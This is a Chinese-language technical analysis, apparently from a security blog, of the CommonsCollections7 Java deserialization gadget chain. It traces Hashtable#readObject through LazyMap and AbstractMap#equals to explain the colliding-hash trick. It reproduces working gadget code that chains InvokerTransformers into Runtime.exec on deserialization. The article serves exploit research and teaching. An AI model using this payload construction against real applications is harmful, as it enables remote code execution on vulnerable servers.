CommonsCollections7的sink链使用的是InvokerTransformer反射接口,利用ChainedTransformer串联三次InvokerTransformer反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate方法,将恶意的ChainedTransformer赋值给LazyMap#factory,当调用LazyMap#get(Object key)方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5、CommonsCollections6的sink点相同)
final String[] execArgs = new String[]{command}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1);
CommonsCollections7的sink点与之前的CC链的不同点在于,CommonsCollections7实例化两次LazyMap对象。
CommonsCollections7的source点选择Hashtable,具体gadget代码如下:
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); return hashtable;
Gadget中调用了两次Hashtable#put方法,将两个LazyMap对象放入了Hashtable中,最终调用remove清空lazyMap2中的yy元素。
目前存在两个问题:
1.为什么需要实例化两次LazyMap对象
2.为什么需要调用remove清空lazyMap2中的yy元素
解答这两个问题之前,需要跟踪一下反序列化流程。跟踪Hashtable#readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the length, threshold, and loadfactor s.defaultReadObject(); // Read the original length of the array and number of elements int origlength = s.readInt(); int elements = s.readInt(); // Compute new size with a bit of room 5% to grow but // no larger than the original size. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(table, key, value); } }
在readObject方法中会根据Hashtable的元素个数判断调用reconstitutionPut(table, key, value)方法的次数,跟进reconstitutionPut方法。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
在reconstitutionPut方法中会调用e.key.equals(key)方法。依靠之前的CommonsCollections利用链的经验,需要在入口类通过各种方法的调用,从而调用到LazyMap#get方法,CommonsCollections7的gadget构造思路也如此,Gadget作者通过调用equals方法,串联入口类和LazyMap。
由于在序列化对象构造时,将LazyMap对象作为Hashtable的key值传入到Hashtable的元素中。因此在调用e.key.equals(key)方法时,实质是调用LazyMap#equals方法。
LazyMap继承于AbstractMapDecorator抽象类,从而调用AbstractMapDecorator#equals方法。
public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }
其中的map对象则是在调用LazyMap.decorate方法时传入的HashMap
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1);
因此最终调用HashMap继承的抽象类AbstractMap中的equals方法
public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }并在AbstractMap#equals方法汇总调用传入对象的get方法。这里重点跟踪一下如何将LazyMap对象作为传入对象传入的,根据上述调用流程逆推,可以看到AbstractMap#equals(Object o)传入参数o是取决于reconstitutionPut方法中调用e.key.equals(key)方法中传入的key值。在这里可以解答上述提到的两个问题。
由于在Hashtable反序列化调用reconstitutionPut方法时,会判断tab数组中是否存在元素,如果存在,则进入for循环中调用e.key.equals(key)方法。
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) {
只有在调用第一次reconstitutionPut方法之后,将第一个Hashtable中的元素传入到tab数组中,在进行第二次调用时,才会保证tab数组非空,从而正常调用e.key.equals(key)方法。
而调用两次reconstitutionPut方法的前提是,需要保证Hashtable中存在两个元素
for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(table, key, value); }
并且为了保证e.key.equals(key)方法中 e.key是LazyMap对象,且传入的key参数也需要是LazyMap对象,因此需要实例化两次LazyMap对象,在Hashtable中进行key比较时,完成LazyMap的调用,从而完成利用链的构造。
调用remove清空lazyMap2中的yy元素,是为了保持两个LazyMap对象中的元素个数保持相同,由于在AbstractMap#equals方法中存在LazyMap元素个数比较的判断条件
如果元素个数不同将直接返回false,不会调用后续的get请求,导致利用链失效。
本文作者:Further_eye
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/163349.html